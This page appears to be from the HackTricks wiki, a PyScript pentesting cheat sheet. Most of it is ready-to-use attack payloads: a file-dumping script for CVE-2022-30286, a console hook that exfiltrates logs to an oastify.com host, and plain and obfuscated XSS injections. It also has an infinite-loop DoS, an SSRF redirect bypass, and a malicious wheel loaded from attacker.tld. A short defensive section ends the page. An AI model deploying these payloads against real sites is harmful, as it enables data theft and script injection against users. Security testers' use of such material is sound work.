Pyscript
Reading time: 6 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
PyScript Pentesting Guide
PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.
Dumping / Retrieving files from the Emscripten virtual memory filesystem:
CVE ID: CVE-2022-30286
Code:
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>
Result:
OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)
CVE ID: CVE-2022-30286
Code:
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>
Result:
Cross Site Scripting (Ordinary)
Code:
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>
Result:
Cross Site Scripting (Python Obfuscated)
Code:
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
Result:
Cross Site Scripting (JavaScript Obfuscation)
Code:
<py-script>
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
"")
</py-script>
Result:
DoS attack (Infinity loop)
Code:
<py-script>
while True:
print(" ")
</py-script>
Result:
New vulnerabilities & techniques (2023-2025)
Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
urllib3 < 2.5.0
ignores the redirect
and retries
parameters when it is executed inside the Pyodide runtime that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them β effectively bypassing anti-SSRF logic.
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
print(r.status, r.url)
</script>
Patched in urllib3 2.5.0
β upgrade the package in your PyScript image or pin a safe version in packages = ["urllib3>=2.5.0"]
. See the official CVE entry for details.
Arbitrary package loading & supply-chain attacks
Since PyScript allows arbitrary URLs in the packages
list, a malicious actor who can modify or inject configuration can execute fully arbitrary Python in the victimβs browser:
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload # executes attacker-controlled code during installation
</script>
Only pure-Python wheels are required β no WebAssembly compilation step is needed. Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
Output sanitisation changes (2023+)
print()
still injects raw HTML and is therefore XSS-prone (examples above).- The newer
display()
helper escapes HTML by default β raw markup must be wrapped inpyscript.HTML()
.
from pyscript import display, HTML
display("<b>escaped</b>") # renders literally
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on display()
for untrusted input and avoid calling print()
directly.
Defensive Best Practices
- Keep packages up to date β upgrade to
urllib3 >= 2.5.0
and regularly rebuild wheels that ship with the site. - Restrict package sources β only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
- Harden Content Security Policy β disallow inline JavaScript (
script-src 'self' 'sha256-β¦'
) so that injected<script>
blocks cannot execute. - Disallow user-supplied
<py-script>
/<script type="py">
tags β sanitise HTML on the server before echoing it back to other users. - Isolate workers β if you do not need synchronous access to the DOM from workers, enable the
sync_main_only
flag to avoid theSharedArrayBuffer
header requirements.
References
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.